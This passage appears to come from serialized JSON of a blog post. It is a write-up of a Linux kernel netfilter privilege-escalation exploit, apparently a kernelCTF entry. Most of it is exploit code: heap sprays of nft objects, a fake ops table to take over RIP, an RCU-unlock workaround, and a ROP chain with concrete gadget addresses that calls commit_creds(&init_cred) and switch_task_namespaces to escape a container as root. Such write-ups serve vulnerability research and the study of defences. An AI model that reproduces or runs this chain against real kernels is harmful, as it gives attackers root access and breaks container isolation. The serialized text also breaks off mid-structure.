fake_obj);\n",{"type":23,"tag":213,"props":56047,"children":56048},{"class":215,"line":655},[56049],{"type":23,"tag":213,"props":56050,"children":56051},{"emptyLinePlaceholder":18},[56052],{"type":28,"value":530},{"type":23,"tag":213,"props":56054,"children":56055},{"class":215,"line":1176},[56056,56061,56065,56070,56074,56078],{"type":23,"tag":213,"props":56057,"children":56058},{"style":257},[56059],{"type":28,"value":56060}," get_obj",{"type":23,"tag":213,"props":56062,"children":56063},{"style":220},[56064],{"type":28,"value":55585},{"type":23,"tag":213,"props":56066,"children":56067},{"style":246},[56068],{"type":28,"value":56069},"\"spray-0\"",{"type":23,"tag":213,"props":56071,"children":56072},{"style":220},[56073],{"type":28,"value":424},{"type":23,"tag":213,"props":56075,"children":56076},{"style":230},[56077],{"type":28,"value":1710},{"type":23,"tag":213,"props":56079,"children":56080},{"style":220},[56081],{"type":28,"value":2867},{"type":23,"tag":213,"props":56083,"children":56084},{"class":215,"line":1202},[56085,56090,56094,56099,56103,56107],{"type":23,"tag":213,"props":56086,"children":56087},{"style":257},[56088],{"type":28,"value":56089}," printf",{"type":23,"tag":213,"props":56091,"children":56092},{"style":220},[56093],{"type":28,"value":265},{"type":23,"tag":213,"props":56095,"children":56096},{"style":246},[56097],{"type":28,"value":56098},"\"[*] nft_object ptr: 0x%lx",{"type":23,"tag":213,"props":56100,"children":56101},{"style":48425},[56102],{"type":28,"value":48428},{"type":23,"tag":213,"props":56104,"children":56105},{"style":246},[56106],{"type":28,"value":20114},{"type":23,"tag":213,"props":56108,"children":56109},{"style":220},[56110],{"type":28,"value":56111},", obj_ptr);\n",{"type":23,"tag":213,"props":56113,"children":56114},{"class":215,"line":1758},[56115],{"type":23,"tag":213,"props":56116,"children":56117},{"style":220},[56118],{"type":28,"value":10401},{"type":23,"tag":9693,"props":56120,"children":56122},{"id":56121},"hijacking-control-flow",[56123],{"type":28,"value":56124},"Hijacking control-flow",{"type":23,"tag":24,"props":56126,"children":56127},{},[56128,56130,56135,56137,56142,56144,56149,56151,56156,56158,56163,56165],{"type":28,"value":56129},"To hijack control-flow, we can use ",{"type":23,"tag":209,"props":56131,"children":56133},{"className":56132},[],[56134],{"type":28,"value":55167},{"type":28,"value":56136}," once again. The ",{"type":23,"tag":209,"props":56138,"children":56140},{"className":56139},[],[56141],{"type":28,"value":55167},{"type":28,"value":56143}," struct has an ",{"type":23,"tag":209,"props":56145,"children":56147},{"className":56146},[],[56148],{"type":28,"value":52723},{"type":28,"value":56150}," pointer to a function pointer table. We can swap the ",{"type":23,"tag":209,"props":56152,"children":56154},{"className":56153},[],[56155],{"type":28,"value":52723},{"type":28,"value":56157}," pointer with the ",{"type":23,"tag":209,"props":56159,"children":56161},{"className":56160},[],[56162],{"type":28,"value":55152},{"type":28,"value":56164}," pointer, taking control of the pointer table.\n",{"type":23,"tag":4009,"props":56166,"children":56168},{"alt":50631,"src":56167},"/posts/netfilter-universal-root-1-day/control-flow.png",[],{"type":23,"tag":202,"props":56170,"children":56172},{"className":29167,"code":56171,"language":29169,"meta":7,"style":7},"[...]\n // Fake ops\n uint64_t *rop = calloc(29, sizeof(uint64_t));\n rop[0] = kaslr_slide + 0xffffffff81988647; // push rsi; jmp qword ptr [rsi + 0x39];\n rop[2] = kaslr_slide + NFT_CT_EXPECT_OBJ_TYPE;\n[...]\n // Send ROP in object udata\n del_obj(nl, \"spray-0\");\n wait_destroyer();\n obj_spray(nl, 1, 1, rop, 0xb8);\n fake_obj = (uint64_t *)getudata(nl, \"spray-3\");\n DumpHex(fake_obj, 0xe8);\n uint64_t rop_addr = fake_obj[9]; // udata ptr\n printf(\"[*] ROP addr: 0x%lx\\n\", rop_addr);\n\n // Point to fake ops\n fake_obj[16] = rop_addr - 0x20; // Point ops to fake ptr table\n[...]\n // Write ROP\n puts(\"[*] Write ROP\");\n deludata_spray(nl, 3, 1);\n wait_destroyer();\n udata_spray(nl, 0xe8, 4, 1, fake_obj);\n\n // Takeover RIP\n puts(\"[*] Takeover RIP\");\n dump_obj(nl, \"spray-1\");\n[...]\n",[56173],{"type":23,"tag":209,"props":56174,"children":56175},{"__ignoreMap":7},[56176,56183,56191,56215,56262,56298,56305,56313,56345,56353,56361,56382,56390,56398,56462,56469,56477,56485,56492,56500,56534,56542,56549,56557,56564,56572,56605,56626],{"type":23,"tag":213,"props":56177,"children":56178},{"class":215,"line":216},[56179],{"type":23,"tag":213,"props":56180,"children":56181},{"style":220},[56182],{"type":28,"value":10401},{"type":23,"tag":213,"props":56184,"children":56185},{"class":215,"line":226},[56186],{"type":23,"tag":213,"props":56187,"children":56188},{"style":220},[56189],{"type":28,"value":56190}," // Fake ops\n",{"type":23,"tag":213,"props":56192,"children":56193},{"class":215,"line":524},[56194,56199,56203,56207,56211],{"type":23,"tag":213,"props":56195,"children":56196},{"style":220},[56197],{"type":28,"value":56198}," uint64_t *rop = calloc(29, ",{"type":23,"tag":213,"props":56200,"children":56201},{"style":290},[56202],{"type":28,"value":55381},{"type":23,"tag":213,"props":56204,"children":56205},{"style":220},[56206],{"type":28,"value":265},{"type":23,"tag":213,"props":56208,"children":56209},{"style":230},[56210],{"type":28,"value":55687},{"type":23,"tag":213,"props":56212,"children":56213},{"style":220},[56214],{"type":28,"value":7313},{"type":23,"tag":213,"props":56216,"children":56217},{"class":215,"line":533},[56218,56223,56227,56231,56235,56239,56244,56248,56253,56257],{"type":23,"tag":213,"props":56219,"children":56220},{"style":268},[56221],{"type":28,"value":56222}," rop",{"type":23,"tag":213,"props":56224,"children":56225},{"style":220},[56226],{"type":28,"value":3821},{"type":23,"tag":213,"props":56228,"children":56229},{"style":514},[56230],{"type":28,"value":4116},{"type":23,"tag":213,"props":56232,"children":56233},{"style":220},[56234],{"type":28,"value":8746},{"type":23,"tag":213,"props":56236,"children":56237},{"style":274},[56238],{"type":28,"value":3190},{"type":23,"tag":213,"props":56240,"children":56241},{"style":220},[56242],{"type":28,"value":56243}," kaslr_slide ",{"type":23,"tag":213,"props":56245,"children":56246},{"style":274},[56247],{"type":28,"value":2703},{"type":23,"tag":213,"props":56249,"children":56250},{"style":514},[56251],{"type":28,"value":56252}," 0xffffffff81988647",{"type":23,"tag":213,"props":56254,"children":56255},{"style":220},[56256],{"type":28,"value":49126},{"type":23,"tag":213,"props":56258,"children":56259},{"style":537},[56260],{"type":28,"value":56261}," // push rsi; jmp qword ptr [rsi + 0x39];\n",{"type":23,"tag":213,"props":56263,"children":56264},{"class":215,"line":543},[56265,56269,56273,56277,56281,56285,56289,56293],{"type":23,"tag":213,"props":56266,"children":56267},{"style":268},[56268],{"type":28,"value":56222},{"type":23,"tag":213,"props":56270,"children":56271},{"style":220},[56272],{"type":28,"value":3821},{"type":23,"tag":213,"props":56274,"children":56275},{"style":514},[56276],{"type":28,"value":3221},{"type":23,"tag":213,"props":56278,"children":56279},{"style":220},[56280],{"type":28,"value":8746},{"type":23,"tag":213,"props":56282,"children":56283},{"style":274},[56284],{"type":28,"value":3190},{"type":23,"tag":213,"props":56286,"children":56287},{"style":220},[56288],{"type":28,"value":56243},{"type":23,"tag":213,"props":56290,"children":56291},{"style":274},[56292],{"type":28,"value":2703},{"type":23,"tag":213,"props":56294,"children":56295},{"style":220},[56296],{"type":28,"value":56297}," NFT_CT_EXPECT_OBJ_TYPE;\n",{"type":23,"tag":213,"props":56299,"children":56300},{"class":215,"line":551},[56301],{"type":23,"tag":213,"props":56302,"children":56303},{"style":220},[56304],{"type":28,"value":10401},{"type":23,"tag":213,"props":56306,"children":56307},{"class":215,"line":570},[56308],{"type":23,"tag":213,"props":56309,"children":56310},{"style":220},[56311],{"type":28,"value":56312}," // Send ROP in object udata\n",{"type":23,"tag":213,"props":56314,"children":56315},{"class":215,"line":655},[56316,56321,56325,56330,56335,56340],{"type":23,"tag":213,"props":56317,"children":56318},{"style":220},[56319],{"type":28,"value":56320}," del_obj(",{"type":23,"tag":213,"props":56322,"children":56323},{"style":290},[56324],{"type":28,"value":54343},{"type":23,"tag":213,"props":56326,"children":56327},{"style":220},[56328],{"type":28,"value":56329},", \"",{"type":23,"tag":213,"props":56331,"children":56332},{"style":290},[56333],{"type":28,"value":56334},"spray",{"type":23,"tag":213,"props":56336,"children":56337},{"style":220},[56338],{"type":28,"value":56339},"-0",{"type":23,"tag":213,"props":56341,"children":56342},{"style":246},[56343],{"type":28,"value":56344},"\");\n",{"type":23,"tag":213,"props":56346,"children":56347},{"class":215,"line":1176},[56348],{"type":23,"tag":213,"props":56349,"children":56350},{"style":246},[56351],{"type":28,"value":56352}," wait_destroyer();\n",{"type":23,"tag":213,"props":56354,"children":56355},{"class":215,"line":1202},[56356],{"type":23,"tag":213,"props":56357,"children":56358},{"style":246},[56359],{"type":28,"value":56360}," obj_spray(nl, 1, 1, rop, 0xb8);\n",{"type":23,"tag":213,"props":56362,"children":56363},{"class":215,"line":1758},[56364,56369,56373,56378],{"type":23,"tag":213,"props":56365,"children":56366},{"style":246},[56367],{"type":28,"value":56368}," fake_obj = (uint64_t *)getudata(nl, \"",{"type":23,"tag":213,"props":56370,"children":56371},{"style":230},[56372],{"type":28,"value":56334},{"type":23,"tag":213,"props":56374,"children":56375},{"style":220},[56376],{"type":28,"value":56377},"-3",{"type":23,"tag":213,"props":56379,"children":56380},{"style":246},[56381],{"type":28,"value":56344},{"type":23,"tag":213,"props":56383,"children":56384},{"class":215,"line":1767},[56385],{"type":23,"tag":213,"props":56386,"children":56387},{"style":246},[56388],{"type":28,"value":56389}," DumpHex(fake_obj, 0xe8);\n",{"type":23,"tag":213,"props":56391,"children":56392},{"class":215,"line":1789},[56393],{"type":23,"tag":213,"props":56394,"children":56395},{"style":246},[56396],{"type":28,"value":56397}," uint64_t rop_addr = fake_obj[9]; // udata ptr\n",{"type":23,"tag":213,"props":56399,"children":56400},{"class":215,"line":1812},[56401,56406,56410,56414,56418,56423,56428,56433,56437,56442,56447,56452,56457],{"type":23,"tag":213,"props":56402,"children":56403},{"style":246},[56404],{"type":28,"value":56405}," printf(\"",{"type":23,"tag":213,"props":56407,"children":56408},{"style":220},[56409],{"type":28,"value":3821},{"type":23,"tag":213,"props":56411,"children":56412},{"style":274},[56413],{"type":28,"value":1696},{"type":23,"tag":213,"props":56415,"children":56416},{"style":220},[56417],{"type":28,"value":8746},{"type":23,"tag":213,"props":56419,"children":56420},{"style":290},[56421],{"type":28,"value":56422},"ROP",{"type":23,"tag":213,"props":56424,"children":56425},{"style":290},[56426],{"type":28,"value":56427}," addr",{"type":23,"tag":213,"props":56429,"children":56430},{"style":220},[56431],{"type":28,"value":56432},": 0",{"type":23,"tag":213,"props":56434,"children":56435},{"style":290},[56436],{"type":28,"value":19329},{"type":23,"tag":213,"props":56438,"children":56439},{"style":220},[56440],{"type":28,"value":56441},"%",{"type":23,"tag":213,"props":56443,"children":56444},{"style":290},[56445],{"type":28,"value":56446},"lx",{"type":23,"tag":213,"props":56448,"children":56449},{"style":220},[56450],{"type":28,"value":56451},"\\",{"type":23,"tag":213,"props":56453,"children":56454},{"style":290},[56455],{"type":28,"value":56456},"n",{"type":23,"tag":213,"props":56458,"children":56459},{"style":246},[56460],{"type":28,"value":56461},"\", rop_addr);\n",{"type":23,"tag":213,"props":56463,"children":56464},{"class":215,"line":1838},[56465],{"type":23,"tag":213,"props":56466,"children":56467},{"emptyLinePlaceholder":18},[56468],{"type":28,"value":530},{"type":23,"tag":213,"props":56470,"children":56471},{"class":215,"line":1851},[56472],{"type":23,"tag":213,"props":56473,"children":56474},{"style":246},[56475],{"type":28,"value":56476}," // Point to fake ops\n",{"type":23,"tag":213,"props":56478,"children":56479},{"class":215,"line":1864},[56480],{"type":23,"tag":213,"props":56481,"children":56482},{"style":246},[56483],{"type":28,"value":56484}," fake_obj[16] = rop_addr - 0x20; // Point ops to fake ptr table\n",{"type":23,"tag":213,"props":56486,"children":56487},{"class":215,"line":1890},[56488],{"type":23,"tag":213,"props":56489,"children":56490},{"style":246},[56491],{"type":28,"value":10401},{"type":23,"tag":213,"props":56493,"children":56494},{"class":215,"line":1899},[56495],{"type":23,"tag":213,"props":56496,"children":56497},{"style":246},[56498],{"type":28,"value":56499}," // Write ROP\n",{"type":23,"tag":213,"props":56501,"children":56502},{"class":215,"line":1912},[56503,56508,56512,56516,56520,56525,56530],{"type":23,"tag":213,"props":56504,"children":56505},{"style":246},[56506],{"type":28,"value":56507}," puts(\"",{"type":23,"tag":213,"props":56509,"children":56510},{"style":220},[56511],{"type":28,"value":3821},{"type":23,"tag":213,"props":56513,"children":56514},{"style":274},[56515],{"type":28,"value":1696},{"type":23,"tag":213,"props":56517,"children":56518},{"style":220},[56519],{"type":28,"value":8746},{"type":23,"tag":213,"props":56521,"children":56522},{"style":290},[56523],{"type":28,"value":56524},"Write",{"type":23,"tag":213,"props":56526,"children":56527},{"style":290},[56528],{"type":28,"value":56529}," ROP",{"type":23,"tag":213,"props":56531,"children":56532},{"style":246},[56533],{"type":28,"value":56344},{"type":23,"tag":213,"props":56535,"children":56536},{"class":215,"line":1921},[56537],{"type":23,"tag":213,"props":56538,"children":56539},{"style":246},[56540],{"type":28,"value":56541}," deludata_spray(nl, 3, 1);\n",{"type":23,"tag":213,"props":56543,"children":56544},{"class":215,"line":3879},[56545],{"type":23,"tag":213,"props":56546,"children":56547},{"style":246},[56548],{"type":28,"value":56352},{"type":23,"tag":213,"props":56550,"children":56551},{"class":215,"line":3887},[56552],{"type":23,"tag":213,"props":56553,"children":56554},{"style":246},[56555],{"type":28,"value":56556}," udata_spray(nl, 0xe8, 4, 1, fake_obj);\n",{"type":23,"tag":213,"props":56558,"children":56559},{"class":215,"line":3918},[56560],{"type":23,"tag":213,"props":56561,"children":56562},{"emptyLinePlaceholder":18},[56563],{"type":28,"value":530},{"type":23,"tag":213,"props":56565,"children":56566},{"class":215,"line":3926},[56567],{"type":23,"tag":213,"props":56568,"children":56569},{"style":246},[56570],{"type":28,"value":56571}," // Takeover RIP\n",{"type":23,"tag":213,"props":56573,"children":56574},{"class":215,"line":3986},[56575,56579,56583,56587,56591,56596,56601],{"type":23,"tag":213,"props":56576,"children":56577},{"style":246},[56578],{"type":28,"value":56507},{"type":23,"tag":213,"props":56580,"children":56581},{"style":220},[56582],{"type":28,"value":3821},{"type":23,"tag":213,"props":56584,"children":56585},{"style":274},[56586],{"type":28,"value":1696},{"type":23,"tag":213,"props":56588,"children":56589},{"style":220},[56590],{"type":28,"value":8746},{"type":23,"tag":213,"props":56592,"children":56593},{"style":290},[56594],{"type":28,"value":56595},"Takeover",{"type":23,"tag":213,"props":56597,"children":56598},{"style":290},[56599],{"type":28,"value":56600}," RIP",{"type":23,"tag":213,"props":56602,"children":56603},{"style":246},[56604],{"type":28,"value":56344},{"type":23,"tag":213,"props":56606,"children":56607},{"class":215,"line":9132},[56608,56613,56617,56622],{"type":23,"tag":213,"props":56609,"children":56610},{"style":246},[56611],{"type":28,"value":56612}," dump_obj(nl, \"",{"type":23,"tag":213,"props":56614,"children":56615},{"style":230},[56616],{"type":28,"value":56334},{"type":23,"tag":213,"props":56618,"children":56619},{"style":220},[56620],{"type":28,"value":56621},"-1",{"type":23,"tag":213,"props":56623,"children":56624},{"style":246},[56625],{"type":28,"value":56344},{"type":23,"tag":213,"props":56627,"children":56628},{"class":215,"line":9150},[56629],{"type":23,"tag":213,"props":56630,"children":56631},{"style":246},[56632],{"type":28,"value":10401},{"type":23,"tag":9693,"props":56634,"children":56636},{"id":56635},"bypass-context-switch-in-rcu-critical-section",[56637],{"type":28,"value":56638},"Bypass context switch in RCU critical-section",{"type":23,"tag":24,"props":56640,"children":56641},{},[56642,56643,56648],{"type":28,"value":2623},{"type":23,"tag":209,"props":56644,"children":56646},{"className":56645},[],[56647],{"type":28,"value":55167},{"type":28,"value":56649}," operations are invoked from an RCU critical-section, which can be a problem for ROPing since we want to switch contexts to userland after executing our payload, which is illegal in RCU critical-sections.",{"type":23,"tag":24,"props":56651,"children":56652},{},[56653,56655,56662,56664,56670,56672,56678],{"type":28,"value":56654},"A workaround has been discussed before by D3v17 in a ",{"type":23,"tag":36,"props":56656,"children":56659},{"href":56657,"rel":56658},"https://github.com/google/security-research/blob/master/pocs/linux/kernelctf/CVE-2023-0461_mitigation/docs/exploit.md#post-rip",[40],[56660],{"type":28,"value":56661},"previous kernelCTF submission",{"type":28,"value":56663}," that basically consists in using memory write gadgets to overwrite the RCU lock in our ",{"type":23,"tag":209,"props":56665,"children":56667},{"className":56666},[],[56668],{"type":28,"value":56669},"task_struct",{"type":28,"value":56671}," before switching to userland. Although this works, I struggled to find useful gadgets but ended up coming up with an easier solution. There are kernel APIs specifically meant for acquiring/releasing the RCU lock, so we should be able to simply call ",{"type":23,"tag":209,"props":56673,"children":56675},{"className":56674},[],[56676],{"type":28,"value":56677},"__rcu_read_unlock()",{"type":28,"value":56679}," function and exit the RCU critical-section before switching contexts.",{"type":23,"tag":202,"props":56681,"children":56683},{"className":29167,"code":56682,"language":29169,"meta":7,"style":7}," // ROP stage 1\n int pos = 3;\n\n rop[pos++] = kaslr_slide + __RCU_READ_UNLOCK;\n",[56684],{"type":23,"tag":209,"props":56685,"children":56686},{"__ignoreMap":7},[56687,56695,56719,56726],{"type":23,"tag":213,"props":56688,"children":56689},{"class":215,"line":216},[56690],{"type":23,"tag":213,"props":56691,"children":56692},{"style":537},[56693],{"type":28,"value":56694}," // ROP stage 1\n",{"type":23,"tag":213,"props":56696,"children":56697},{"class":215,"line":226},[56698,56702,56707,56711,56715],{"type":23,"tag":213,"props":56699,"children":56700},{"style":230},[56701],{"type":28,"value":19130},{"type":23,"tag":213,"props":56703,"children":56704},{"style":220},[56705],{"type":28,"value":56706}," pos ",{"type":23,"tag":213,"props":56708,"children":56709},{"style":274},[56710],{"type":28,"value":3190},{"type":23,"tag":213,"props":56712,"children":56713},{"style":514},[56714],{"type":28,"value":19152},{"type":23,"tag":213,"props":56716,"children":56717},{"style":220},[56718],{"type":28,"value":313},{"type":23,"tag":213,"props":56720,"children":56721},{"class":215,"line":524},[56722],{"type":23,"tag":213,"props":56723,"children":56724},{"emptyLinePlaceholder":18},[56725],{"type":28,"value":530},{"type":23,"tag":213,"props":56727,"children":56728},{"class":215,"line":533},[56729,56733,56738,56742,56746,56750,56754,56758],{"type":23,"tag":213,"props":56730,"children":56731},{"style":268},[56732],{"type":28,"value":56222},{"type":23,"tag":213,"props":56734,"children":56735},{"style":220},[56736],{"type":28,"value":56737},"[pos",{"type":23,"tag":213,"props":56739,"children":56740},{"style":274},[56741],{"type":28,"value":51322},{"type":23,"tag":213,"props":56743,"children":56744},{"style":220},[56745],{"type":28,"value":8746},{"type":23,"tag":213,"props":56747,"children":56748},{"style":274},[56749],{"type":28,"value":3190},{"type":23,"tag":213,"props":56751,"children":56752},{"style":220},[56753],{"type":28,"value":56243},{"type":23,"tag":213,"props":56755,"children":56756},{"style":274},[56757],{"type":28,"value":2703},{"type":23,"tag":213,"props":56759,"children":56760},{"style":220},[56761],{"type":28,"value":56762}," __RCU_READ_UNLOCK;\n",{"type":23,"tag":9693,"props":56764,"children":56766},{"id":56765},"rop",[56767],{"type":28,"value":56422},{"type":23,"tag":24,"props":56769,"children":56770},{},[56771],{"type":28,"value":56772},"Most of the ROP chain to escape the container as root is business as usual:",{"type":23,"tag":168,"props":56774,"children":56775},{},[56776,56787,56798],{"type":23,"tag":135,"props":56777,"children":56778},{},[56779,56785],{"type":23,"tag":209,"props":56780,"children":56782},{"className":56781},[],[56783],{"type":28,"value":56784},"commit_creds(&init_cred);",{"type":28,"value":56786}," Commit root credentials to our process",{"type":23,"tag":135,"props":56788,"children":56789},{},[56790,56796],{"type":23,"tag":209,"props":56791,"children":56793},{"className":56792},[],[56794],{"type":28,"value":56795},"task = find_task_by_vpid(1);",{"type":28,"value":56797}," Find the root process of our namespace",{"type":23,"tag":135,"props":56799,"children":56800},{},[56801,56807],{"type":23,"tag":209,"props":56802,"children":56804},{"className":56803},[],[56805],{"type":28,"value":56806},"switch_task_namespaces(task, &init_nsproxy);",{"type":28,"value":56808}," Move it to the root namespace",{"type":23,"tag":24,"props":56810,"children":56811},{},[56812,56814,56820,56822,56828,56830,56836,56838,56844,56846,56851,56853,56859],{"type":28,"value":56813},"However, I had a hard time finding gadgets to easily move the return value of ",{"type":23,"tag":209,"props":56815,"children":56817},{"className":56816},[],[56818],{"type":28,"value":56819},"find_task_by_vpid(1)",{"type":28,"value":56821}," passed through ",{"type":23,"tag":209,"props":56823,"children":56825},{"className":56824},[],[56826],{"type":28,"value":56827},"rax",{"type":28,"value":56829}," to ",{"type":23,"tag":209,"props":56831,"children":56833},{"className":56832},[],[56834],{"type":28,"value":56835},"rdi",{"type":28,"value":56837},". What I ended up going with was a ",{"type":23,"tag":209,"props":56839,"children":56841},{"className":56840},[],[56842],{"type":28,"value":56843},"push rax; jmp qword ptr [rsi + 0x66]; ret",{"type":28,"value":56845}," gadget, that allowed me to push the ",{"type":23,"tag":209,"props":56847,"children":56849},{"className":56848},[],[56850],{"type":28,"value":56827},{"type":28,"value":56852}," value onto the stack and then jump to a controlled location, where I stored a ",{"type":23,"tag":209,"props":56854,"children":56856},{"className":56855},[],[56857],{"type":28,"value":56858},"pop rdi; ret",{"type":28,"value":56860}," gadget to consume the new stack value and restore normal ROP execution. This very minor detour in the ROP flow looks like this:",{"type":23,"tag":168,"props":56862,"children":56863},{},[56864,56869,56882],{"type":23,"tag":135,"props":56865,"children":56866},{},[56867],{"type":28,"value":56868},"We push the value onto the stack (stack pointer regresses)",{"type":23,"tag":135,"props":56870,"children":56871},{},[56872,56874,56880],{"type":28,"value":56873},"We jump to our \"trampoline\" gadget (",{"type":23,"tag":209,"props":56875,"children":56877},{"className":56876},[],[56878],{"type":28,"value":56879},"pop rdi; ret;",{"type":28,"value":56881}," location)",{"type":23,"tag":135,"props":56883,"children":56884},{},[56885,56890],{"type":23,"tag":209,"props":56886,"children":56888},{"className":56887},[],[56889],{"type":28,"value":56858},{"type":28,"value":56891}," consumes the value from the stack (progressing the stack pointer back to where it should be), and then we bounce back to the next gadget",{"type":23,"tag":202,"props":56893,"children":56895},{"className":29167,"code":56894,"language":29169,"meta":7,"style":7},"[...]\n // commit_creds(&init_cred);\n rop[pos++] = kaslr_slide + 0xffffffff8112c7c0; // pop rdi; ret;\n rop[pos++] = kaslr_slide + INIT_CRED;\n rop[pos++] = kaslr_slide + COMMIT_CREDS;\n\n // task = find_task_by_vpid(1);\n rop[pos++] = kaslr_slide + 0xffffffff8112c7c0; // pop rdi; ret;\n rop[pos++] = 1;\n rop[pos++] = kaslr_slide + FIND_TASK_BY_VPID;\n rop[pos++] = kaslr_slide + 0xffffffff8102e2a6; // pop rsi; ret;\n rop[pos++] = obj_ptr + 0xe0 - 0x66; // rax -> rdi and resume rop\n rop[pos++] = kaslr_slide + 0xffffffff81caed31; // push rax; jmp qword ptr [rsi + 0x66];\n\n // switch_task_namespaces(task, &init_nsproxy);\n rop[pos++] = kaslr_slide + 0xffffffff8102e2a6; // pop rsi; ret;\n rop[pos++] = kaslr_slide + INIT_NSPROXY;\n rop[pos++] = kaslr_slide + SWITCH_TASK_NAMESPACES;\n[...]\n",[56896],{"type":23,"tag":209,"props":56897,"children":56898},{"__ignoreMap":7},[56899,56906,56923,56968,57004,57040,57047,57055,57098,57129,57165,57210,57265,57310,57317,57325,57368,57404,57440],{"type":23,"tag":213,"props":56900,"children":56901},{"class":215,"line":216},[56902],{"type":23,"tag":213,"props":56903,"children":56904},{"style":220},[56905],{"type":28,"value":10401},{"type":23,"tag":213,"props":56907,"children":56908},{"class":215,"line":226},[56909,56914,56919],{"type":23,"tag":213,"props":56910,"children":56911},{"style":220},[56912],{"type":28,"value":56913}," // commit_creds(&",{"type":23,"tag":213,"props":56915,"children":56916},{"style":268},[56917],{"type":28,"value":56918},"init_cred",{"type":23,"tag":213,"props":56920,"children":56921},{"style":220},[56922],{"type":28,"value":2867},{"type":23,"tag":213,"props":56924,"children":56925},{"class":215,"line":524},[56926,56930,56934,56938,56942,56946,56950,56954,56959,56963],{"type":23,"tag":213,"props":56927,"children":56928},{"style":268},[56929],{"type":28,"value":56222},{"type":23,"tag":213,"props":56931,"children":56932},{"style":220},[56933],{"type":28,"value":56737},{"type":23,"tag":213,"props":56935,"children":56936},{"style":274},[56937],{"type":28,"value":51322},{"type":23,"tag":213,"props":56939,"children":56940},{"style":220},[56941],{"type":28,"value":8746},{"type":23,"tag":213,"props":56943,"children":56944},{"style":274},[56945],{"type":28,"value":3190},{"type":23,"tag":213,"props":56947,"children":56948},{"style":220},[56949],{"type":28,"value":56243},{"type":23,"tag":213,"props":56951,"children":56952},{"style":274},[56953],{"type":28,"value":2703},{"type":23,"tag":213,"props":56955,"children":56956},{"style":514},[56957],{"type":28,"value":56958}," 0xffffffff8112c7c0",{"type":23,"tag":213,"props":56960,"children":56961},{"style":220},[56962],{"type":28,"value":49126},{"type":23,"tag":213,"props":56964,"children":56965},{"style":537},[56966],{"type":28,"value":56967}," // pop rdi; ret;\n",{"type":23,"tag":213,"props":56969,"children":56970},{"class":215,"line":533},[56971,56975,56979,56983,56987,56991,56995,56999],{"type":23,"tag":213,"props":56972,"children":56973},{"style":268},[56974],{"type":28,"value":56222},{"type":23,"tag":213,"props":56976,"children":56977},{"style":220},[56978],{"type":28,"value":56737},{"type":23,"tag":213,"props":56980,"children":56981},{"style":274},[56982],{"type":28,"value":51322},{"type":23,"tag":213,"props":56984,"children":56985},{"style":220},[56986],{"type":28,"value":8746},{"type":23,"tag":213,"props":56988,"children":56989},{"style":274},[56990],{"type":28,"value":3190},{"type":23,"tag":213,"props":56992,"children":56993},{"style":220},[56994],{"type":28,"value":56243},{"type":23,"tag":213,"props":56996,"children":56997},{"style":274},[56998],{"type":28,"value":2703},{"type":23,"tag":213,"props":57000,"children":57001},{"style":220},[57002],{"type":28,"value":57003}," INIT_CRED;\n",{"type":23,"tag":213,"props":57005,"children":57006},{"class":215,"line":543},[57007,57011,57015,57019,57023,57027,57031,57035],{"type":23,"tag":213,"props":57008,"children":57009},{"style":268},[57010],{"type":28,"value":56222},{"type":23,"tag":213,"props":57012,"children":57013},{"style":220},[57014],{"type":28,"value":56737},{"type":23,"tag":213,"props":57016,"children":57017},{"style":274},[57018],{"type":28,"value":51322},{"type":23,"tag":213,"props":57020,"children":57021},{"style":220},[57022],{"type":28,"value":8746},{"type":23,"tag":213,"props":57024,"children":57025},{"style":274},[57026],{"type":28,"value":3190},{"type":23,"tag":213,"props":57028,"children":57029},{"style":220},[57030],{"type":28,"value":56243},{"type":23,"tag":213,"props":57032,"children":57033},{"style":274},[57034],{"type":28,"value":2703},{"type":23,"tag":213,"props":57036,"children":57037},{"style":220},[57038],{"type":28,"value":57039}," COMMIT_CREDS;\n",{"type":23,"tag":213,"props":57041,"children":57042},{"class":215,"line":551},[57043],{"type":23,"tag":213,"props":57044,"children":57045},{"emptyLinePlaceholder":18},[57046],{"type":28,"value":530},{"type":23,"tag":213,"props":57048,"children":57049},{"class":215,"line":570},[57050],{"type":23,"tag":213,"props":57051,"children":57052},{"style":537},[57053],{"type":28,"value":57054}," // task = find_task_by_vpid(1);\n",{"type":23,"tag":213,"props":57056,"children":57057},{"class":215,"line":655},[57058,57062,57066,57070,57074,57078,57082,57086,57090,57094],{"type":23,"tag":213,"props":57059,"children":57060},{"style":268},[57061],{"type":28,"value":56222},{"type":23,"tag":213,"props":57063,"children":57064},{"style":220},[57065],{"type":28,"value":56737},{"type":23,"tag":213,"props":57067,"children":57068},{"style":274},[57069],{"type":28,"value":51322},{"type":23,"tag":213,"props":57071,"children":57072},{"style":220},[57073],{"type":28,"value":8746},{"type":23,"tag":213,"props":57075,"children":57076},{"style":274},[57077],{"type":28,"value":3190},{"type":23,"tag":213,"props":57079,"children":57080},{"style":220},[57081],{"type":28,"value":56243},{"type":23,"tag":213,"props":57083,"children":57084},{"style":274},[57085],{"type":28,"value":2703},{"type":23,"tag":213,"props":57087,"children":57088},{"style":514},[57089],{"type":28,"value":56958},{"type":23,"tag":213,"props":57091,"children":57092},{"style":220},[57093],{"type":28,"value":49126},{"type":23,"tag":213,"props":57095,"children":57096},{"style":537},[57097],{"type":28,"value":56967},{"type":23,"tag":213,"props":57099,"children":57100},{"class":215,"line":1176},[57101,57105,57109,57113,57117,57121,57125],{"type":23,"tag":213,"props":57102,"children":57103},{"style":268},[57104],{"type":28,"value":56222},{"type":23,"tag":213,"props":57106,"children":57107},{"style":220},[57108],{"type":28,"value":56737},{"type":23,"tag":213,"props":57110,"children":57111},{"style":274},[57112],{"type":28,"value":51322},{"type":23,"tag":213,"props":57114,"children":57115},{"style":220},[57116],{"type":28,"value":8746},{"type":23,"tag":213,"props":57118,"children":57119},{"style":274},[57120],{"type":28,"value":3190},{"type":23,"tag":213,"props":57122,"children":57123},{"style":514},[57124],{"type":28,"value":4618},{"type":23,"tag":213,"props":57126,"children":57127},{"style":220},[57128],{"type":28,"value":313},{"type":23,"tag":213,"props":57130,"children":57131},{"class":215,"line":1202},[57132,57136,57140,57144,57148,57152,57156,57160],{"type":23,"tag":213,"props":57133,"children":57134},{"style":268},[57135],{"type":28,"value":56222},{"type":23,"tag":213,"props":57137,"children":57138},{"style":220},[57139],{"type":28,"value":56737},{"type":23,"tag":213,"props":57141,"children":57142},{"style":274},[57143],{"type":28,"value":51322},{"type":23,"tag":213,"props":57145,"children":57146},{"style":220},[57147],{"type":28,"value":8746},{"type":23,"tag":213,"props":57149,"children":57150},{"style":274},[57151],{"type":28,"value":3190},{"type":23,"tag":213,"props":57153,"children":57154},{"style":220},[57155],{"type":28,"value":56243},{"type":23,"tag":213,"props":57157,"children":57158},{"style":274},[57159],{"type":28,"